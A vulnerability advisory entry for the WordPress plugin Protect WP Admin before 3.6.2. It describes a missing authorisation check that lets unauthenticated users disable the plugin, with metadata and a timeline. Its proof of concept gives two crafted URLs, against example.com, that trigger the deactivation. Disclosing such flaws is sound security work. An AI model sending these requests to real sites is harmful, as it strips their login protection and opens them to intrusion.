WordPress Plugin Vulnerabilities
Protect WP Admin < 3.6.2 - Unauthenticated Plugin Deactivation
Description
The plugin does not check for authorisation in the lib/pwa-deactivate.php file, which could allow unauthenticated users to disable the plugin (and therefore the protection offered) via a crafted request
Proof of Concept
v < 3.6 - https:/example.com/wp-content/plugins/protect-wp-admin/lib/pwa-deactivate.php?disable_pwa=1 v < 3.6.2 - https:/example.com/?pwa_inactive=1&pwa_ue=admin@domain.com
Affects Plugins
Fixed in 3.6.2 References
CVE
Classification
Type
ACCESS CONTROLS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-12-23 (about 2 years ago)
Added
2021-12-23 (about 2 years ago)
Last Updated
2022-04-10 (about 2 years ago)
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